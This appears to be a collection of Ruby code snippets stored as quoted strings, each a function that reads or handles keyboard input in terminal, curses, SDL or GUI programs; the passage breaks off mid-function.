"def get_key_down(char)\n STDIN.echo = false\n STDIN.raw!\n begin\n #reads input without blocking the thread\n #returns a string of pressed keys\n input = STDIN.read_nonblock(3)\n #check if the key was pressed\n if(input.include? char)\n return true\n end\n return false\n rescue Errno::EAGAIN\n return false\n end\nend",
"def input_commands\n @new_prompt.command_selection\n command = gets.chomp.upcase\n while command != 'EXIT GAME'\n @player_command = command\n handle_commands(@player_command)\n @new_prompt.command_selection\n command = gets.chomp.upcase\n end\n @new_prompt.exit_screen\n end",
"def user_input\n key = @window.getch\n case key\n when Curses::KEY_LEFT\n @in_play.move_left\n when Curses::KEY_RIGHT\n @in_play.move_right\n when Curses::KEY_UP\n @in_play.rotate_r\n when 'z'\n @in_play.rotate_l\n when Curses::KEY_DOWN\n @in_play.position = @ghost_piece.position\n @in_play.add_to_board\n end\n # calculate ghost piece after piece movement\n calculate_ghost_piece\n end",
"def pressKeyToContinue\n puts \"\\n-- press any key to continue --\"\n gets\nend",
"def respond_to_input(turn_color)\n loop do\n c = read_char\n case c\n when \"\\r\"\n return end_cursor || cursor\n when \"\\e[A\"\n move_cursor(turn_color, [-1, 0])\n when \"\\e[B\"\n move_cursor(turn_color, [1, 0])\n when \"\\e[C\"\n move_cursor(turn_color, [0, 1])\n when \"\\e[D\"\n move_cursor(turn_color, [0, -1])\n when \"\\u0003\"\n raise Interrupt\n end\n end\n end",
"def handle_keys\n exit if SDL::Key.press? SDL::Key::ESCAPE\n exit if SDL::Key.press? SDL::Key::Q\n self.paused = !paused if SDL::Key.press? SDL::Key::P\n end",
"def read\n Vedeu.log(type: :input, message: \"Waiting for user input...\\n\")\n\n if raw_mode?\n Vedeu.trigger(:_keypress_, keypress)\n\n elsif fake_mode?\n @key ||= keypress\n\n if @key.nil?\n nil\n\n elsif click?(@key)\n Vedeu.trigger(:_mouse_event_, @key)\n\n elsif Vedeu::Input::Mapper.registered?(@key, name)\n Vedeu.trigger(:_keypress_, @key, name)\n\n elsif interface.editable?\n Vedeu.trigger(:_editor_, @key)\n\n else\n Vedeu.trigger(:key, @key)\n\n end\n\n elsif cooked_mode?\n Vedeu.trigger(:_command_, command)\n\n end\n end",
"def read_char &block\n STDIN.noecho do\n # as long as the block doen't return falsy,\n # read the user input key and sned it to the block\n while block.( IOHelper.get_char )\n end\n end\n end",
"def read\n if click?(keypress)\n Vedeu.trigger(:_mouse_event_, keypress)\n\n elsif reader.raw_mode?\n Vedeu.trigger(:_keypress_, keypress)\n\n elsif reader.fake_mode?\n name = Vedeu.focus\n interface = Vedeu.interfaces.by_name(name)\n key = keypress\n\n if Vedeu::Input::Mapper.registered?(key, name)\n Vedeu.trigger(:_keypress_, key, name)\n\n elsif interface.editable?\n Vedeu.trigger(:_editor_, key)\n\n else\n Vedeu.trigger(:key, key)\n\n end\n else\n Vedeu.trigger(:_command_, command)\n\n end\n end",
"def getch\n FFI::NCurses.wtimeout(@pointer, $ncurses_timeout || 1000)\n c = FFI::NCurses.wgetch(@pointer)\n if c == 27 ## {{{\n\n # don't wait for another key\n FFI::NCurses.nodelay(@pointer, true)\n k = FFI::NCurses.wgetch(@pointer)\n if k == -1\n # wait for key\n #FFI::NCurses.nodelay(@pointer, false)\n return 27\n else\n buf = \"\"\n loop do\n n = FFI::NCurses.wgetch(@pointer)\n break if n == -1\n buf += n.chr\n end\n # wait for next key\n #FFI::NCurses.nodelay(@pointer, false)\n\n # this works for all alt-keys but it messes with shift-function keys\n # shift-function keys start with M-[ (91) and then have more keys\n if buf == \"\"\n return k + 128\n end\n #$log.debug \" getch buf is #{k.chr}#{buf} \"\n # returning a string key here which is for Shift-Function keys or other undefined keys.\n key = 27.chr + k.chr + buf\n return key\n\n end\n end ## }}}\n #FFI::NCurses.nodelay(@pointer, false) # this works but trying out for continueous updates\n c\n rescue SystemExit, Interrupt \n 3 # is C-c\n rescue StandardError\n -1 # is C-c\n end",
"def keypress_handler(scancode)\n i = scancode & 0x7f\n x = SCREEN_W() - 100 * 3 + (i % 3) * 100\n y = SCREEN_H() / 2 + (i / 3 - 21) * 10\n color = scancode & 0x80 != 0 ? makecol(255, 255, 0) : makecol(128, 0, 0)\n rectfill(screen, x, y, x + 95, y + 8, color)\n str = ustrzncpy(scancode_to_name(i), 12)\n textprintf_ex(screen, font, x + 1, y + 1, makecol(0, 0, 0), -1, str)\nend",
"def get_char\n begin\n system(\"stty raw -echo 2>/dev/null\") # turn raw input on\n c = nil\n #if $stdin.ready?\n c = $stdin.getc\n cn=c.ord\n return \"ENTER\" if cn == 13\n return \"BACKSPACE\" if cn == 127\n return \"C-SPACE\" if cn == 0\n return \"SPACE\" if cn == 32\n # next does not seem to work, you need to bind C-i\n return \"TAB\" if cn == 8\n if cn >= 0 && cn < 27\n x= cn + 96\n return \"C-#{x.chr}\"\n end\n if c == '\u001b'\n buff=c.chr\n while true\n k = nil\n if $stdin.ready?\n k = $stdin.getc\n #puts \"got #{k}\"\n buff += k.chr\n else\n x=$kh[buff]\n return x if x\n #puts \"returning with #{buff}\"\n if buff.size == 2\n ## possibly a meta/alt char\n k = buff[-1]\n return \"M-#{k.chr}\"\n end\n return buff\n end\n end\n end\n #end\n return c.chr if c\n ensure\n #system \"stty -raw echo\" # turn raw input off\n system(\"stty -raw echo 2>/dev/null\") # turn raw input on\n end\nend",
"def get_char\n begin\n system(\"stty raw -echo 2>/dev/null\") # turn raw input on\n c = nil\n #if $stdin.ready?\n c = $stdin.getc\n cn=c.ord\n return \"ENTER\" if cn == 10 || cn == 13\n return \"BACKSPACE\" if cn == 127\n return \"C-SPACE\" if cn == 0\n return \"SPACE\" if cn == 32\n # next does not seem to work, you need to bind C-i\n return \"TAB\" if cn == 8\n if cn >= 0 && cn < 27\n x= cn + 96\n return \"C-#{x.chr}\"\n end\n if c == '\u001b'\n buff=c.chr\n while true\n k = nil\n if $stdin.ready?\n k = $stdin.getc\n #puts \"got #{k}\"\n buff += k.chr\n else\n x=$kh[buff]\n return x if x\n #puts \"returning with #{buff}\"\n if buff.size == 2\n ## possibly a meta/alt char\n k = buff[-1]\n return \"M-#{k.chr}\"\n end\n return buff\n end\n end\n end\n #end\n return c.chr if c\n ensure\n #system \"stty -raw echo\" # turn raw input off\n system(\"stty -raw echo 2>/dev/null\") # turn raw input on\n end\nend",
"def get_char\n begin\n system(\"stty raw -echo 2>/dev/null\") # turn raw input on\n c = nil\n #if $stdin.ready?\n c = $stdin.getc\n cn=c.ord\n return \"ENTER\" if cn == 10 || cn == 13\n return \"BACKSPACE\" if cn == 127\n return \"C-SPACE\" if cn == 0\n return \"SPACE\" if cn == 32\n # next does not seem to work, you need to bind C-i\n return \"TAB\" if cn == 8\n if cn >= 0 && cn < 27\n x= cn + 96\n return \"C-#{x.chr}\"\n end\n if c == '\u001b'\n buff=c.chr\n while true\n k = nil\n if $stdin.ready?\n k = $stdin.getc\n #puts \"got #{k}\"\n buff += k.chr\n else\n x=$kh[buff]\n return x if x\n #puts \"returning with #{buff}\"\n if buff.size == 2\n ## possibly a meta/alt char\n k = buff[-1]\n return \"M-#{k.chr}\"\n end\n return buff\n end\n end\n end\n #end\n return c.chr if c\n ensure\n #system \"stty -raw echo\" # turn raw input off\n system(\"stty -raw echo 2>/dev/null\") # turn raw input on\n end\nend",
"def read_user_char\n char = nil\n # Don't read keyboard more than x times per second\n time = Time.new\n if !@prev_time || time - @prev_time >= 0.25\n @prev_time = time\n begin\n system('stty raw -echo') # => Raw mode, no echo\n char = (STDIN.read_nonblock(1) rescue nil)\n ensure\n system('stty -raw echo') # => Reset terminal mode\n end\n end\n char\n end",
"def char_press\n begin\n system('stty raw -echo') # turn raw input on\n input = $stdin.getc if $stdin.ready?\n input.chr if input\n ensure\n system('stty -raw echo') # turn raw input off\n end\n end",
"def handle_input\n case event = SDL::Event2.poll\n when SDL::Event2::Quit then @running = false\n when SDL::Event2::KeyDown\n case event.sym\n when SDL::Key::ESCAPE then @running = false\n when SDL::Key::LEFT then direction = :left\n when SDL::Key::RIGHT then direction = :right\n when SDL::Key::UP then direction = :up\n when SDL::Key::DOWN then direction = :down \n end\n\n @log.info \"Key Event: #{event.sym} #{direction}\"\n return direction\n end\n end",
"def get_char\n c = @window.getchar\n case c\n when 13,10\n return \"ENTER\"\n when 32\n return \"SPACE\"\n when 127\n return \"BACKSPACE\"\n when 27\n return \"ESCAPE\"\n end\n keycode_tos c\n# if c > 32 && c < 127\n #return c.chr\n #end\n ## use keycode_tos from Utils.\nend",
"def getch\n #c = @window.getch\n #FFI::NCurses::nodelay(@window, true)\n #FFI::NCurses::wtimeout(@window, 0)\n #$log.debug \" #{Time.now.to_f} inside MAIN before getch \" \n c = FFI::NCurses.wgetch(@window)\n # the only reason i am doing this is so ESC can be returned if no key is pressed\n # after that, not sure how this effects everything. most likely I should just\n # go back to using a wtimeout, and not worry about resize requiring a keystroke\n if c == 27\n $escstart = Time.now.to_f\n # if ESC pressed don't wait too long for next key\n Ncurses::wtimeout(@window, $ncurses_timeout || 500) # will wait n millisecond on wgetch so that we can return if no\n else\n FFI::NCurses.set_escdelay(100)\n # this means keep waiting for a key.\n Ncurses::nowtimeout(@window, true)\n end\n c\n\n rescue SystemExit, Interrupt \n #FFI::NCurses.flushinp\n 3 # is C-c\n rescue StandardError\n -1 # is C-c\n ensure\n # whatever the default is, is to be set here in case caller changed it.\n #FFI::NCurses::nodelay(@window, true)\n end",
"def read_char\n begin\n # save previous state of stty\n old_state = `stty -g`\n # disable echoing and enable raw (not having to press enter)\n system \"stty raw -echo\"\n c = STDIN.getc.chr\n # gather next two characters of special keys\n if(c==\"\\e\")\n extra_thread = Thread.new{\n c = c + STDIN.getc.chr\n c = c + STDIN.getc.chr\n }\n # wait just long enough for special keys to get swallowed\n extra_thread.join(0.00001)\n # kill thread so not-so-long special keys don't wait on getc\n extra_thread.kill\n end\n rescue => ex\n puts \"#{ex.class}: #{ex.message}\"\n puts ex.backtrace\n ensure\n # restore previous state of stty\n system \"stty #{old_state}\"\n end\n return c\nend",
"def input\n keys = Vedeu::Input::Raw.read\n\n if click?(keys)\n Vedeu::Input::Mouse.click(keys)\n\n else\n keys\n\n end\n end",
"def input\n loop do\n case STDIN.getch\n when 'a' then return :left\n when 'd' then return :right\n when 'q' then return :exit\n end\n end\n end",
"def getch\n return nil if eos?\n\n do_scan(/./u, true, true, true)\n end",
"def read_char\n STDIN.echo = false\n STDIN.raw!\n\n input = STDIN.getc.chr\n exit(1) if input == \"\\u0003\"\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\nensure\n STDIN.cooked!\n STDIN.echo = true\n \n\n return input\nend",
"def keyboards_tech_demo\n outputs.labels << [460, row_to_px(0), \"Current game time: #{state.tick_count}\", small_font]\n outputs.labels << [460, row_to_px(2), \"Keyboard input: inputs.keyboard.key_up.h\", small_font]\n outputs.labels << [460, row_to_px(3), \"Press \\\"h\\\" on the keyboard.\", small_font]\n\n if inputs.keyboard.key_up.h # if \"h\" key_up event occurs\n state.h_pressed_at = state.tick_count # frame it occurred is stored\n end\n\n # h_pressed_at is initially set to false, and changes once the user presses the \"h\" key.\n state.h_pressed_at ||= false\n\n if state.h_pressed_at # if h is pressed (pressed_at has a frame number and is no longer false)\n outputs.labels << [460, row_to_px(4), \"\\\"h\\\" was pressed at time: #{state.h_pressed_at}\", small_font]\n else # otherwise, label says \"h\" was never pressed\n outputs.labels << [460, row_to_px(4), \"\\\"h\\\" has never been pressed.\", small_font]\n end\n\n # border around keyboard input demo section\n outputs.borders << [455, row_to_px(5), 360, row_to_px(2).shift_up(5) - row_to_px(5)]\n end",
"def input_range\n input = STDIN.getch\n print input\n sleep(0.17) #to see player input on console \n if input.to_i>0 && input.to_i<9\n $col = input.to_i-1\n elsif input == \"x\"\n print \"\\n\\n\\n\"\n exit\n else\n print \"\\n\\n\\tWrong input! Press key between 1 and 8.\\n\\n\\tPlayer \", $x_or_o, \" > \"\n input_range()\n end\n end",
"def map_key_to_move\n c = read_char\n step = @step\n step ||= 1\n case c\n when ' '\n puts 'SPACE'\n park\n when \"\\t\"\n puts 'TAB'\n :stop\n when \"\\r\"\n puts 'RETURN'\n :stop\n when \"\\n\"\n puts 'LINE FEED'\n :stop\n when \"\\e\"\n puts 'ESCAPE'\n :stop\n when \"\\e[A\", 'w'\n up step\n when \"\\e[B\", 's'\n down step\n when \"\\e[C\", 'd'\n right step\n when \"\\e[D\", 'a'\n left step\n when '+', 'r'\n forward step\n when '-', 'f'\n back step\n when 'q'\n gripper_on\n when 'e'\n gripper_off\n when ','\n gripper_close(5)\n when '.'\n gripper_open(5)\n when 'j'\n wrist_left\n when 'l'\n wrist_right\n when 'i'\n wrist_up\n when 'k'\n wrist_down\n when \"\\177\"\n log 'BACKSPACE', true\n :stop\n when \"\\004\"\n log 'DELETE', true\n :stop\n when \"\\e[3~\"\n log 'ALTERNATE DELETE', true\n :stop\n when \"\\u0003\"\n log 'CONTROL-C', true\n :stop\n when /^.$/\n log \"SINGLE CHAR HIT: #{c.inspect}\"\n :stop\n else\n log \"SOMETHING ELSE: #{c.inspect}\"\n :stop\n end\n end",
"def handle_key ch\n return :UNHANDLED unless @content\n map_keys unless @mapped_keys\n\n @maxrow = @content_rows - @rows\n @maxcol = @content_cols - @cols \n\n # need to understand the above line, can go below zero.\n # all this seems to work fine in padreader.rb in util.\n # somehow maxcol going to -33\n @oldrow = @prow\n @oldcol = @pcol\n $log.debug \"XXX: PAD got #{ch} prow = #{@prow}\"\n begin\n case ch\n when key(?l)\n # TODO take multipler\n #@pcol += 1\n if @curpos < @cols\n @curpos += 1\n end\n when key(?$)\n #@pcol = @maxcol - 1\n @curpos = [@content[@current_index].size, @cols].min\n when key(?h)\n # TODO take multipler\n if @curpos > 0\n @curpos -= 1\n end\n when key(?0)\n @curpos = 0\n when ?0.getbyte(0)..?9.getbyte(0)\n if ch == ?0.getbyte(0) && $multiplier == 0\n # copy of C-a - start of line\n @repaint_required = true if @pcol > 0 # tried other things but did not work\n @pcol = 0\n return 0\n end\n # storing digits entered so we can multiply motion actions\n $multiplier *= 10 ; $multiplier += (ch-48)\n return 0\n when ?\\C-c.getbyte(0)\n $multiplier = 0\n return 0\n else\n # check for bindings, these cannot override above keys since placed at end\n begin\n ret = process_key ch, self\n $multiplier = 0\n ## If i press C-x > i get an alert from rwidgets which blacks the screen\n # if i put a padrefresh here it becomes okay but only for one pad,\n # i still need to do it for all pads.\n rescue => err\n $log.error \" TEXTPAD ERROR INS #{err} \"\n $log.debug(err.backtrace.join(\"\\n\"))\n textdialog [\"Error in TextPad: #{err} \", *err.backtrace], :title => \"Exception\"\n end\n ## NOTE if textpad does not handle the event and it goes to form which pops\n # up a messagebox, then padrefresh does not happen, since control does not \n # come back here, so a black rect is left on screen\n return :UNHANDLED if ret == :UNHANDLED\n end\n bounds_check\n rescue => err\n $log.error \" TEXTPAD ERROR 111 #{err} \"\n $log.debug( err) if err\n $log.debug(err.backtrace.join(\"\\n\")) if err\n textdialog [\"Error in TextPad: #{err} \", *err.backtrace], :title => \"Exception\"\n $error_message.value = \"\"\n ensure\n padrefresh\n Ncurses::Panel.update_panels\n end\n return 0\n end",
"def process_key_press( typed_line )\n # retrieve typed character\n typed_character = get_character.chr\n # process backspace\n if typed_character == \"\\177\"\n putc \"\\b \\b\"\n typed_line.chop!\n return typed_line\n # ignore return\n elsif typed_character == \"\\r\"\n return typed_line\n end\n # append typed to current line character and write it out\n typed_line = typed_line + typed_character\n putc typed_character\n typed_line\n end",
"def on_key(ch)\n end",
"def escape\n puts \"\"\n puts Rainbow(\"Press anything to return\").blue\n STDIN.getch\nend",
"def onKeyDown( *args )\r\n capture = relay_event( :onKeyDown, args )\r\n relay_event( :onSetCursor, [] )\r\n capture\r\n end",
"def getch\n scan(/./m)\n end",
"def on_key_pressed(event)\n\n # Enter key\n if (event.keyval == Gdk::Keyval::GDK_Return)\n catch_text()\n\n # Backspace key\n elsif (event.keyval == Gdk::Keyval::GDK_BackSpace)\n iter = @buffer.end_iter\n if iter.offset == @@offset\n return true\n else\n return false\n end\n\n # Delete key\n elsif (event.keyval == Gdk::Keyval::GDK_Delete)\n iter = @buffer.end_iter\n if iter.offset == @@offset\n return true\n else\n return false\n end\n\n # Previous command\n elsif (event.keyval == Gdk::Keyval::GDK_Up)\n cmd = @historic.prev(current_line())\n replace(cmd)\n return true\n\n # Next command\n elsif (event.keyval == Gdk::Keyval::GDK_Down)\n cmd = @historic.next(current_line())\n replace(cmd)\n return true\n end\n\n end",
"def updateKeys\n\t\tif !@keysPressed.empty?\n\t\t\tkey = @keysPressed.pop\n\t\t\tinitX = @initPosX + @hero.sprite.posx / SQUARE_SIZE \n\t\t\tinitY = @initPosY + @hero.sprite.posy / SQUARE_SIZE \n\t\t\tdirection = 0\n\t\t\tcase key.to_s\n\t\t\twhen \"u\"\n\t\t\t\tdirection = \"right\"\n\t\t\t\tcheckX = initX + SCREEN_CENTER_X / SQUARE_SIZE + 1 \n\t\t\t\tcheckY = initY + SCREEN_CENTER_Y / SQUARE_SIZE \n\t\t\twhen \"o\"\n\t\t\t\tdirection = \"left\"\n\t\t\t\tcheckX = initX + SCREEN_CENTER_X / SQUARE_SIZE - 1 \n\t\t\t\tcheckY = initY + SCREEN_CENTER_Y / SQUARE_SIZE \n\t\t\twhen \"e\" \n\t\t\t\tdirection = \"down\"\n\t\t\t\tcheckX = initX + SCREEN_CENTER_X / SQUARE_SIZE \n\t\t\t\tcheckY = initY + SCREEN_CENTER_Y / SQUARE_SIZE + 1 \n\t\t\twhen \"period\"\n\t\t\t\tdirection = \"up\"\n\t\t\t\tcheckX = initX + SCREEN_CENTER_X / SQUARE_SIZE \n\t\t\t\tcheckY = initY + SCREEN_CENTER_Y / SQUARE_SIZE - 1 \n\t\t\twhen \"t\"\n\t\t\t\tif @keyIdle\n\t\t\t\t\t@nextGameState = Menu.new(@screen, self) \n\t\t\t\tend\n\t\t\tend\n\t\t\tif direction != 0\n\t\t\t\tmove = true\n\t\t\t\ttile = @background[checkY][checkX]\n\t\t\t\t@noMove.each { |noMove|\n\t\t\t\t\tif tile == noMove\n\t\t\t\t\t\tmove = false\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\t\tmovement(direction, key, move)\n\t\t\tend\n\t\tend\n\tend",
"def getch\n map_key(key_press)\n end",
"def key_pressed(event)\n case event.key\n when :left\n update_position :left\n when :right\n update_position :right\n when :up\n update_position :up\n when :down\n update_position :down\n when :space\n build_ladder\n end\n end",
"def get_char\n begin\n # save previous state of stty\n old_state = `stty -g`\n # disable echoing and enable raw (not having to press enter)\n system 'stty raw -echo'\n char = STDIN.getc.chr\n # gather next two characters of special keys\n if char == \"\\e\"\n char << STDIN.read_nonblock(3) rescue nil\n char << STDIN.read_nonblock(2) rescue nil\n end\n\n # restore previous state of stty\n system \"stty #{old_state}\"\n end\n\n key = IOChar.char_to_key(char)\n\n if key == 'ctrl-c' or key == 'ctrl-d'\n raise Interrupt\n end\n\n char\n end",
"def getKey\n begin\n # save previous state of stty\n old_state = `stty -g`\n # disable echoing and enable raw (not having to press enter)\n system \"stty raw -echo\"\n# key = STDIN.getc.chr\n key = STDIN.getbyte\n # gather next two characters of special keys\n if(key == \"\\e\")\n extra_thread = Thread.new{\n# key << STDIN.getc.chr\n# key << STDIN.getc.chr\n key << STDIN.getbyte\n key << STDIN.getbyte\n }\n # wait just long enough for special keys to get swallowed\n extra_thread.join(0.00010)\n # kill thread so not-so-long special keys don't wait on getc\n extra_thread.kill\n end\n# rescue => ex\n# puts \"#{ex.class}: #{ex.message}\"\n# puts ex.backtrace\n ensure\n # restore previous state of stty\n system \"stty #{old_state}\"\n end\n return key\nend",
"def keypress(key)\n puts \"Got key: #{key} (#{key.class})\"\n if key.is_a?(String)\n if key.length == 1\n # Assume letter\n @vnc.keyevent(key.chr, true)\n @vnc.keyevent(key.chr, false)\n else\n # Assume keysym\n puts \"I don't know how to type '#{key}'\"\n return { :action => \"status\", :status => \"I don't know how to type '#{key}'\" }\n end\n else\n # type printables, key others.\n if 32.upto(127).include?(key)\n @vnc.keyevent(key, true)\n @vnc.keyevent(key, false)\n else\n case key\n when 8 \n @vnc.keyevent(0xff08, true)\n @vnc.keyevent(0xff08, false)\n when 13\n @vnc.keyevent(0xff0D, true)\n @vnc.keyevent(0xff0D, false)\n else\n puts \"I don't know how to type web keycode '#{key}'\"\n return { :action => \"status\", :status => \"I don't know how to type '#{key}'\" }\n end # case key\n end # if 32.upto(127).include?(key)\n end # if key.is_a?String\n return nil\n end",
"def readkey\n system('stty raw -echo') # => Raw mode, no echo\n c = (STDIN.read_nonblock(1).ord rescue nil)\n system('stty -raw echo') # => Reset terminal mode\n c\nend",
"def getch\n\n end",
"def ORIG_process_key keycode, object, window\n return :UNHANDLED if @_key_map.nil?\n blk = @_key_map[keycode]\n $log.debug \"XXX: _process key keycode #{keycode} #{blk.class}, #{self.class} \"\n return :UNHANDLED if blk.nil?\n if blk.is_a? OrderedHash \n #Ncurses::nodelay(window.get_window, bf = false)\n # if you set nodelay in ncurses.rb then this will not\n # wait for second key press, so you then must either make it blocking\n # here, or set a wtimeout here.\n #\n # This is since i have removed timeout globally since resize was happeing\n # after a keypress. maybe we can revert to timeout and not worry about resize so much\n Ncurses::wtimeout(window.get_window, 500) # will wait a second on wgetch so we can get gg and qq\n ch = window.getch\n # we should not reset here, resetting should happen in getch itself so it is consistent\n #Ncurses::nowtimeout(window.get_window, true)\n\n $log.debug \" process_key: got #{keycode} , #{ch} \"\n # next line ignores function keys etc. C-x F1, thus commented 255 2012-01-11 \n if ch < 0 #|| ch > 255\n return nil\n end\n #yn = ch.chr\n blk1 = blk[ch]\n # FIXME we are only returning the second key, what if form\n # has mapped first and second combo. We should unget keycode and ch. 2011-12-23 \n # check this out first.\n window.ungetch(ch) if blk1.nil? # trying 2011-09-27 \n return :UNHANDLED if blk1.nil? # changed nil to unhandled 2011-09-27 \n $log.debug \" process_key: found block for #{keycode} , #{ch} \"\n blk = blk1\n end\n if blk.is_a? Symbol\n if respond_to? blk\n return send(blk, *@_key_args[keycode])\n else\n ## 2013-03-05 - 19:50 why the hell is there an alert here, nowhere else\n alert \"This ( #{self.class} ) does not respond to #{blk.to_s} [PROCESS-KEY]\"\n # added 2013-03-05 - 19:50 so called can know\n return :UNHANDLED \n end\n else\n $log.debug \"rwidget BLOCK called _process_key \" if $log.debug? \n return blk.call object, *@_key_args[keycode]\n end\n #0\n end",
"def waitForKeyPress\n print \"Press any key to continue\"\n got = STDIN.getch\n # Extra space to overwrite in case next output is short\n print \" \\r\"\n \n # Cancel on CTRL-C\n if got == \"\\x03\"\n puts \"Got interrupt key, quitting\"\n exit 1\n end\nend",
"def event_loop\n loop do\n Curses.doupdate\n @message.clear\n\n case key = @message.getch\n when 9 then @display.next_link\n when 'Z', 353, Curses::Key::BTAB then @display.previous_link # shift-tab\n\n when 10, Curses::Key::ENTER then display_name @display.current_link\n\n when Curses::Key::LEFT then go_to @history.back\n when Curses::Key::RIGHT then go_to @history.forward\n\n when Curses::Key::END then @display.scroll_bottom\n when Curses::Key::HOME then @display.scroll_top\n when 'j', Curses::Key::DOWN then @display.scroll_down\n when 'k', Curses::Key::UP then @display.scroll_up\n when ' ', Curses::Key::NPAGE then @display.page_down\n when Curses::Key::PPAGE then @display.page_up\n\n when 'h' then\n display @history.list, nil\n when 'i' then\n @message.show \"pos: #{@history.position} items: #{@history.pages.length}\"\n\n when 'Q', 3, 4 then\n break # ^C, ^D\n when 26, Curses::Key::SUSPEND then\n Curses.close_screen\n Process.kill 'STOP', $$\n when nil, Curses::Key::RESIZE then\n @display.update_size\n @message.update_size\n\n when 'g' then display_name @message.prompt\n\n else\n @message.error \"unknown key #{key.inspect}\"\n end\n end\n end",
"def waitForKeyPress\n print 'Press any key to continue'\n got = STDIN.getch\n # Extra space to overwrite in case next output is short\n print \" \\r\"\n\n # Cancel on CTRL-C\n if got == \"\\x03\"\n puts 'Got interrupt key, quitting'\n exit 1\n end\nend",
"def alpha_mapping\n {# 1st line\n Q: '__{ KeyCode::Q, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n W: \"__{ KeyCode::KEY_5, #{shift_opt}, KeyCode::MINUS, #{shift_opt}, #{left} }__\", # []\n E: \"__{ KeyCode::KEY_5, KeyCode::MINUS, #{left} }__\", # ()\n R: \"__{ KeyCode::KEY_5, #{opt}, KeyCode::MINUS, #{opt}, #{left} }__\", # {}\n T: \"__{ KeyCode::BACKQUOTE, KeyCode::BACKQUOTE, #{shift}, #{left} }__\", # <>\n Y: \"__{ KeyCode::KEY_1, #{shift} }__\", # 1\n U: \"__{ KeyCode::CURSOR_LEFT, #{cmd} }__\", # left\n I: '__{ KeyCode::CURSOR_UP }__', # up\n O: \"__{ KeyCode::CURSOR_RIGHT, #{cmd} }__\", # right\n P: nil,\n\n # 2nd line\n A: '__{ KeyCode::A, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n S: '__{ KeyCode::S, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n D: '__{ KeyCode::D, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n F: \"__{ KeyCode::KEY_3, KeyCode::KEY_3, #{left} }__\", # \"\",\n G: \"__{ KeyCode::KEY_4, KeyCode::KEY_4, #{left} }__\", # '',\n H: '__{ KeyCode::RawValue::0x97 }__', # nil, # 0, # ----- # todo: <- NC #'__{ KeyCode::M }__',\n J: '__{ KeyCode::CURSOR_LEFT }__', # LEFT\n K: '__{ KeyCode::CURSOR_DOWN }__', # DOWN\n L: '__{ KeyCode::CURSOR_RIGHT }__', # RIGHT\n QUOTE: '__{ KeyCode::RawValue::0x98 }__', # todo: -> NC\n\n # 3rd line\n Z: '__{ KeyCode::Z, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n X: '__{ KeyCode::X, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n C: '__{ KeyCode::C, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n V: '__{ KeyCode::V, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n B: '__{ KeyCode::B, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n N: '__{ KeyCode::N, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n M: \"__{ KeyCode::CURSOR_LEFT, #{opt} }__\", # <- word\n COMMA: '__{ KeyCode::RawValue::0x96 }__', # down something\n DOT: \"__{ KeyCode::CURSOR_RIGHT, #{opt} }__\", # -> word\n # BACKQUOTE: 'BACKSLASH', Z: 'COMMA',\n\n KEY_2: \"__{ KeyCode::L, #{shift_opt}, KeyCode::L, #{shift_opt}, #{left} }__\", # ||\n KEY_3: \"__{ KeyCode::KEY_3, KeyCode::KEY_3, #{left} }__\", # '', # -----\n KEY_4: \"__{ KeyCode::KEY_4, KeyCode::KEY_4, #{left} }__\", # \"\", # -----\n KEY_5: \"__{ KeyCode::BACKSLASH, KeyCode::BACKSLASH, #{left} }__\", # ``,\n KEY_7: nil,\n KEY_8: '__{ KeyCode::RawValue::0x95 }__',\n KEY_9: nil\n }.with_indifferent_access\n end",
"def get_user_input\n Termbox.tb_poll_event(@event)\n ascii_to_symbol @event[:ch]\n end",
"def getchar\n getch\n end",
"def press_any_key\n # TODO: Print footer.\n get_wch\n end",
"def get_char\n c = Curses.getch\n c if (0..255) === c.ord\n end",
"def key_listen\n Thread.new do\n loop do \n block = @key_bindings[get_character]\n puts block.call if block\n end\n end\n end",
"def handle_key(ch)\n # 2014-08-19 - 21:10 moving to init, so that user may override or remove\n #map_keys unless @keys_mapped\n handled = :UNHANDLED # 2011-10-4 \n if ch == ?\\C-u.getbyte(0)\n ret = universal_argument\n $log.debug \"C-u FORM set MULT to #{$multiplier}, ret = #{ret} \"\n return 0 if ret == 0\n ch = ret # unhandled char\n elsif ch >= ?\\M-1.getbyte(0) && ch <= ?\\M-9.getbyte(0)\n if $catch_alt_digits # emacs EMACS\n ret = digit_argument ch\n $log.debug \" FORM set MULT DA to #{$multiplier}, ret = #{ret} \"\n return 0 if ret == 0 # don't see this happening\n ch = ret # unhandled char\n end\n end\n\n $current_key = ch\n case ch\n when -1\n return\n when 1000, 12\n # NOTE this works if widgets cover entire screen like text areas and lists but not in \n # dialogs where there is blank space. only widgets are painted.\n # testing out 12 is C-l\n $log.debug \" form REFRESH_ALL repaint_all HK #{ch} #{self}, #{@name} \"\n repaint_all_widgets\n return\n when FFI::NCurses::KEY_RESIZE # SIGWINCH \n # note that in windows that have dialogs or text painted on window such as title or \n # box, the clear call will clear it out. these are not redrawn.\n lines = Ncurses.LINES\n cols = Ncurses.COLS\n x = Ncurses.stdscr.getmaxy\n y = Ncurses.stdscr.getmaxx\n $log.debug \" form RESIZE HK #{ch} #{self}, #{@name}, #{ch}, x #{x} y #{y} lines #{lines} , cols: #{cols} \"\n #alert \"SIGWINCH WE NEED TO RECALC AND REPAINT resize #{lines}, #{cols}: #{x}, #{y} \"\n\n # next line may be causing flicker, can we do without.\n Ncurses.endwin\n @window.wrefresh\n @window.wclear\n if @layout_manager\n @layout_manager.do_layout\n # we need to redo statusline and others that layout ignores\n else\n @widgets.each { |e| e.repaint_all(true) } # 